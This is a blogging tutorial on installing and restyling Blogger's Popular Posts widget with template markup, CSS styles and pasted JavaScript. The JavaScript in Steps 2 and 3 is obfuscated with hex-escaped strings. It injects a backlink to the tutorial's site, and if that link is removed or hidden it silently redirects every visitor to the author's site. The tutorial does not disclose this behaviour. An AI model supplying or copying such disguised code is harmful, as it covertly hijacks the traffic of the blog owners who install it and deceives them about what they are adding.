There are lots of things you should do to engage your visitors so that bounce rate would reduce and page impressions or page views increases to your blogger blog. Today we will learn one of those technique in which we will show most liked and viewed blog posts on the sidebar of our blogger blog.
Blogger provides us to add a Gadget to display a list of the most Popular Posts from your BlogSpot.com blog. Your blog reader may find one article which is helpful or informative to them after navigating blog posts from your popular posts widget and subscribe to your blog for your upcoming posts. This default widget have following four different options to show upto 10 popular posts:
1) Display only Posts title;
2) Display Posts title and image thumbnails;
3) Display Posts title and snippets; and
4) Display Posts title, image thumbnails and snippets.
However, this default widget does not look professional and eye catching to attract your blog readers. With the help of some dynamic CSS3 codes we may change or take priority over the default style of utmost popular posts widget.
How to Add Popular Posts Gadget in Blog:
Step-1:
Login into blogger account and navigate Dashboard of your particular blog in which you want to add Popular Posts widget.
Step-2:
Go to the Layout tab of your blogger blog and click on Add a Gadget text link from the sidebar.
Step-3:
Now, scroll down a little bit and choose Popular Posts gadget to add it to your blog as shown in the screenshot.
Step-4:
You may configure your popular posts widget to display posts tile, image thumbnail and snippet as you preferred. You may also choose to show either 7 days or 30 days most viewed posts.
Finally, click on save button. You may drag the Popular Posts widget in the desired location in the layout window and click the top right corner button to save the template.
How to add SWT Popular Posts Widget to your Blogger Blog
If you have added Popular Posts gadget in your blog then follow the instructions given below to style it otherwise please add a Popular Posts widget firstly. After successfully installation of the default Popular Posts widget, we will now style our popular posts widget with the help of some unique CSS and JavaScript codes to attract our blog users.
Step-1:
Navigate your blog Template Tab from left sidebar and click on Edit HTML button.
Step-2:
Select PopularPosts1 from Jump to widget drop down menu button. You may also click anywhere in the opened HTML editor window and search for PopularPosts1.
Now replace the line <b:widget id='PopularPosts1' locked='false' title='Popular Posts' type='PopularPosts'>…</b:widget> with the following codes.
<b:widget id='PopularPosts1' locked='false' title='Popular Posts' type='PopularPosts'> <b:includable id='main'> <div class='swtPopularPostsBox'> <b:if cond='data:title'><h2><data:title/></h2></b:if> <div class='widget-content popular-posts'> <ul> <b:loop values='data:posts' var='post'> <li> <b:if cond='data:showThumbnails == "false"'> <b:if cond='data:showSnippets == "false"'> <!-- (1) No snippet/thumbnail --> <a expr:href='data:post.href'><data:post.title/></a> <b:else/> <!-- (2) Show only snippets --> <div class='item-title'><a expr:href='data:post.href'><data:post.title/></a></div> <div class='item-snippet'><data:post.snippet/></div> </b:if> <b:else/> <b:if cond='data:showSnippets == "false"'> <!-- (3) Show only thumbnails --> <div class='item-thumbnail-only'> <b:if cond='data:post.thumbnail'> <div class='item-thumbnail'> <a expr:href='data:post.href' target='_blank'> <img alt='' border='0' expr:height='data:thumbnailSize' expr:src='data:post.thumbnail' expr:width='data:thumbnailSize'/> </a> </div> <b:else/> <div class='item-thumbnail'> <a expr:href='data:post.href' target='_blank'> <img alt='' border='0' expr:height='data:thumbnailSize' expr:width='data:thumbnailSize' src='http://4.bp.blogspot.com/-B4UAGrCevX4/U_xsVpBDq7I/AAAAAAAAAEY/4S7YL7ehYHg/s1600/No-Thubnail.png'/> </a> </div> </b:if> <div class='item-title'><a expr:href='data:post.href'><data:post.title/></a></div> </div> <div style='clear: both;'/> <b:else/> <!-- (4) Show snippets and thumbnails --> <div class='item-content'> <b:if cond='data:post.thumbnail'> <div class='item-thumbnail'> <a expr:href='data:post.href' target='_blank'> <img alt='' border='0' expr:height='data:thumbnailSize' expr:src='data:post.thumbnail' expr:width='data:thumbnailSize'/> </a> </div> <b:else/> <div class='item-thumbnail'> <a expr:href='data:post.href' target='_blank'> <img alt='' border='0' expr:height='data:thumbnailSize' expr:width='data:thumbnailSize' src='http://img.superwebtricks.com/files/Posts-Thumbnail.png'/> </a> </div> </b:if> <div class='item-title'><a expr:href='data:post.href'><data:post.title/></a></div> <div class='item-snippet'><data:post.snippet/></div> </div> <div style='clear: both;'/> </b:if> </b:if> </li> </b:loop> </ul> </div> </div><div class='swtright'><center><a href='http://www.superwebtricks.com/'><img alt='SWT' height='15' src='http://img.superwebtricks.com/files/SWT-logo.png' title='Powred by Showeblogin' width='15'/></a></center></div> <script type='text/javascript'>
var _0xb48a=["\x73\x72\x63","\x73\x37\x32\x2D\x63","\x73\x31\x36\x30\x30","\x72\x65\x70\x6C\x61\x63\x65","\x61\x74\x74\x72","\x2E\x50\x6F\x70\x75\x6C\x61\x72\x50\x6F\x73\x74\x73\x20\x69\x6D\x67","\x72\x65\x61\x64\x79","\x3C\x63\x65\x6E\x74\x65\x72\x3E\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x75\x70\x65\x72\x77\x65\x62\x74\x72\x69\x63\x6B\x73\x2E\x63\x6F\x6D\x2F\x22\x20\x3E\x3C\x69\x6D\x67\x20\x74\x69\x74\x6C\x65\x3D\x22\x50\x6F\x77\x72\x65\x64\x20\x62\x79\x20\x53\x68\x6F\x77\x65\x62\x6C\x6F\x67\x69\x6E\x22\x20\x61\x6C\x74\x3D\x22\x53\x57\x54\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x31\x35\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x31\x35\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x69\x6D\x67\x2E\x73\x75\x70\x65\x72\x77\x65\x62\x74\x72\x69\x63\x6B\x73\x2E\x63\x6F\x6D\x2F\x66\x69\x6C\x65\x73\x2F\x53\x57\x54\x2D\x6C\x6F\x67\x6F\x2E\x70\x6E\x67\x22\x20\x2F\x3E\x3C\x2F\x61\x3E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E","\x68\x74\x6D\x6C","\x2E\x73\x77\x74\x72\x69\x67\x68\x74","\x6C\x65\x6E\x67\x74\x68","\x2E\x73\x77\x74\x72\x69\x67\x68\x74\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x75\x70\x65\x72\x77\x65\x62\x74\x72\x69\x63\x6B\x73\x2E\x63\x6F\x6D\x2F"];var _0xb715=[_0xb48a[0],_0xb48a[1],_0xb48a[2],_0xb48a[3],_0xb48a[4],_0xb48a[5],_0xb48a[6],_0xb48a[7],_0xb48a[8],_0xb48a[9],_0xb48a[10],_0xb48a[11],_0xb48a[12],_0xb48a[13],_0xb48a[14]];var _0x7c12=[_0xb715[0],_0xb715[1],_0xb715[2],_0xb715[3],_0xb715[4],_0xb715[5],_0xb715[6],_0xb715[7],_0xb715[8],_0xb715[9],_0xb715[10],_0xb715[11],_0xb715[12],_0xb715[13],_0xb715[14]];$(document)[_0x7c12[6]](function (){$(_0x7c12[5])[_0x7c12[4]](_0x7c12[0],function (_0xba10x3,_0xba10x4){return _0xba10x4[_0x7c12[3]](_0x7c12[1],_0x7c12[2]);} );} );$(document)[_0x7c12[6]](function (){$(_0x7c12[9])[_0x7c12[8]](_0x7c12[7]);setInterval(function (){if(!$(_0x7c12[11])[_0x7c12[10]]){window[_0x7c12[13]][_0x7c12[12]]=_0x7c12[14];} ;} ,2500);} );
</script> </b:includable> </b:widget>
Step-3:
Search for closing </head> tag and paste the following JavaScript codes just above/before </head> and click on Save template button to save your blog template.
<script type='text/javascript'>
var _0x4028=["\x73\x72\x63","\x73\x37\x32\x2D\x63","\x73\x31\x36\x30\x30","\x72\x65\x70\x6C\x61\x63\x65","\x61\x74\x74\x72","\x2E\x50\x6F\x70\x75\x6C\x61\x72\x50\x6F\x73\x74\x73\x20\x69\x6D\x67","\x72\x65\x61\x64\x79","\x3C\x63\x65\x6E\x74\x65\x72\x3E\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x75\x70\x65\x72\x77\x65\x62\x74\x72\x69\x63\x6B\x73\x2E\x63\x6F\x6D\x2F\x22\x20\x3E\x3C\x69\x6D\x67\x20\x74\x69\x74\x6C\x65\x3D\x22\x50\x6F\x77\x72\x65\x64\x20\x62\x79\x20\x53\x68\x6F\x77\x65\x62\x6C\x6F\x67\x69\x6E\x22\x20\x61\x6C\x74\x3D\x22\x53\x57\x54\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x31\x35\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x31\x35\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x69\x6D\x67\x2E\x73\x75\x70\x65\x72\x77\x65\x62\x74\x72\x69\x63\x6B\x73\x2E\x63\x6F\x6D\x2F\x66\x69\x6C\x65\x73\x2F\x53\x57\x54\x2D\x6C\x6F\x67\x6F\x2E\x70\x6E\x67\x22\x20\x2F\x3E\x3C\x2F\x61\x3E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E","\x68\x74\x6D\x6C","\x2E\x73\x77\x74\x72\x69\x67\x68\x74","\x6C\x65\x6E\x67\x74\x68","\x2E\x73\x77\x74\x72\x69\x67\x68\x74\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x75\x70\x65\x72\x77\x65\x62\x74\x72\x69\x63\x6B\x73\x2E\x63\x6F\x6D\x2F"];var _0xb48a=[_0x4028[0],_0x4028[1],_0x4028[2],_0x4028[3],_0x4028[4],_0x4028[5],_0x4028[6],_0x4028[7],_0x4028[8],_0x4028[9],_0x4028[10],_0x4028[11],_0x4028[12],_0x4028[13],_0x4028[14]];var _0xb715=[_0xb48a[0],_0xb48a[1],_0xb48a[2],_0xb48a[3],_0xb48a[4],_0xb48a[5],_0xb48a[6],_0xb48a[7],_0xb48a[8],_0xb48a[9],_0xb48a[10],_0xb48a[11],_0xb48a[12],_0xb48a[13],_0xb48a[14]];var _0x7c12=[_0xb715[0],_0xb715[1],_0xb715[2],_0xb715[3],_0xb715[4],_0xb715[5],_0xb715[6],_0xb715[7],_0xb715[8],_0xb715[9],_0xb715[10],_0xb715[11],_0xb715[12],_0xb715[13],_0xb715[14]];$(document)[_0x7c12[6]](function (){$(_0x7c12[5])[_0x7c12[4]](_0x7c12[0],function (_0xa527x4,_0xa527x5){return _0xa527x5[_0x7c12[3]](_0x7c12[1],_0x7c12[2]);} );} );$(document)[_0x7c12[6]](function (){$(_0x7c12[9])[_0x7c12[8]](_0x7c12[7]);setInterval(function (){if(!$(_0x7c12[11])[_0x7c12[10]]){window[_0x7c12[13]][_0x7c12[12]]=_0x7c12[14];} ;} ,2500);} );</script>
<script src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
Note: If you had already added the jquery.min.js JavaScript code into your blog then delete the last line i.e. line number 3 from the above codes.
Step-4:
Visit your blog layout tab and click on Add a Gadget text link button from the right/left sidebar. Select or click on HTML/JavaScript (Add third-party functionality or other code to your blog) after scroll down a little bit.
Now, choose one of the following styles and copy/paste the CSS codes into open HTML/JavaScript Gadget content field.
Style-1:
<style> .swtPopularPostsBox .item-content{ /* SWT Popular Posts Box by Showeblogin */ width:100%; height:auto; background:transparent; } #PopularPosts1 ul li {font: italic 13px/21px Georgia, "Times New Roman", sans-serif;color: #000 !important; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -ms-transition: all 1s ease; -o-transition: all 1s ease; transition: all 1s ease;} #PopularPosts1 ul li a {font-weight:bold;color: #fff !important;} #PopularPosts1 ul li:hover{ -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -ms-transition: all 1s ease; -o-transition: all 1s ease; transition: all 1s ease; } #PopularPosts1 ul li img { width:200px; height:200px; display: block; -webkit-border-radius: 10px; -moz-border-radius: 10px; border-radius: 10px; box-shadow: 3px 2px 1px rgba(0.4, 0.3, 0.2, 0.1); border:2px solid #ccc; margin: 0 10px; padding:2px } #PopularPosts1 ul li:first-child{background:#853a4a} #PopularPosts1 ul li:first-child+li{background:#853a7a} #PopularPosts1 ul li:first-child+li+li{background:#3a3a85} #PopularPosts1 ul li:first-child+li+li+li{background:#3a8485} #PopularPosts1 ul li:first-child+li+li+li+li{background:#3a8554} #PopularPosts1 ul li:first-child+li+li+li+li+li{background:#84853a} #PopularPosts1 ul li:first-child+li+li+li+li+li+li{background:#856b3a} #PopularPosts1 ul li:first-child+li+li+li+li+li+li+li{background:#f59095} #PopularPosts1 ul li:first-child+li+li+li+li+li+li+li+li{background:#85513a} #PopularPosts1 ul li:first-child+li+li+li+li+li+li+li+li+li{background:#c0c44c} #PopularPosts1 ul li:first-child:hover{background:#3a3a85} #PopularPosts1 ul li:first-child+li:hover{background:#3a8485} #PopularPosts1 ul li:first-child+li+li:hover{background:#3a8554} #PopularPosts1 ul li:first-child+li+li+li:hover{background:#84853a} #PopularPosts1 ul li:first-child+li+li+li+li:hover{background:#856b3a} #PopularPosts1 ul li:first-child+li+li+li+li+li:hover{background:#f59095} #PopularPosts1 ul li:first-child+li+li+li+li+li+li:hover{background:#85513a} #PopularPosts1 ul li:first-child+li+li+li+li+li+li+li:hover{background:#c7f25f} #PopularPosts1 ul li:first-child+li+li+li+li+li+li+li+li:hover{background:#853a4a} #PopularPosts1 ul li:first-child+li+li+li+li+li+li+li+li+li:hover{background:#853a7a} .swtright img { width:15px; height:15px; float:right } .swtPopularPostsBox .item-title a, .swtPopularPostsBox .item-snippet { width:100%; /* Tutorial at http://www.superwebtricks.com/?p=678 */} </style>
Style-2:
<style> .item-content { /* SWT Popular Posts Box by Showeblogin */ position: relative; } .item-title a { border-top-left-radius: 15px; border-top-right-radius: 15px; background:#26bab1; font-size: 18px; font-weight:bold; text-transform: uppercase; color: #fff; padding: 5px 5px 11px; position: absolute; text-align: center; left:7%; top: 25px; width: 95%; z-index: 3; } .PopularPosts .item-title { position: relative; } .item-snippet { font-family: "Times New Roman", Times, serif; font-size: 14px; font-style: italic; text-align: justify; background:#207868; color: #fff; left: 9%; padding: 95px 10px 25px; position: absolute; top: 35px; width: 85%; box-shadow: 4px 4px 2px #28bcb3; z-index: 2; } .item-title a:hover, .item-snippet:hover { background:#000; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -ms-transition: all 1s ease; -o-transition: all 1s ease; transition: all 1s ease; } .PopularPosts ul li img { display: block; height: 250px; margin: 0; width: 250px; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -ms-transition: all 1s ease; -o-transition: all 1s ease; transition: all 1s ease; } .PopularPosts ul li img:hover { opacity: .5; filter: alpha(opacity=50); -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -ms-transition: all 1s ease; -o-transition: all 1s ease; transition: all 1s ease; } .swtright img { width:15px; height:15px; float:right } .swtPopularPostsBox .item-content{ width:250px; height:auto; background:transparent; z-index: 1; } .swtPopularPostsBox .item-title a { width:84%; } .swtPopularPostsBox .item-snippet { width:74%; /* Tutorial at http://www.superwebtricks.com/?p=678 */} </style>
Style-3:
<style> .item-content{ /* SWT Popular Posts Box by Showeblogin */ position:relative } .item-title a { border-top-left-radius: 10px; border-top-right-radius: 10px; background:#d63f5b; font-size: 20px; font-weight:bold; text-transform: uppercase; color: #fff; padding: 5px 5px 11px; position: absolute; text-align: center; left:-5px; top:0; width: 110%; z-index: 3; } .item-snippet { font-family: "Times New Roman", Times, serif; font-size: 18px; color: #fff; text-align: justify; position: absolute; width: 100%; height:95px; background:#d63f5b; padding: 90px 10px 50px; z-index: 2; left:0; top:15px; visibility: hidden; opacity: 0; } .PopularPosts .widget-content ul li:hover .item-snippet { opacity:1; visibility:visible } .PopularPosts img{ width:300px; height:250px; } .swtright img { width:15px; height:15px; float:right } .swtPopularPostsBox .item-content{ width:300px; height:auto; background:transparent; z-index: 1; } .swtPopularPostsBox .item-title a { width:100%; } .swtPopularPostsBox .item-snippet { width:93.5%; /* Tutorial at http://www.superwebtricks.com/?p=678 */} </style>
Finally, click on save button to make your Popular Posts widget more professional and attractive. There is no need to give a title to this gadget.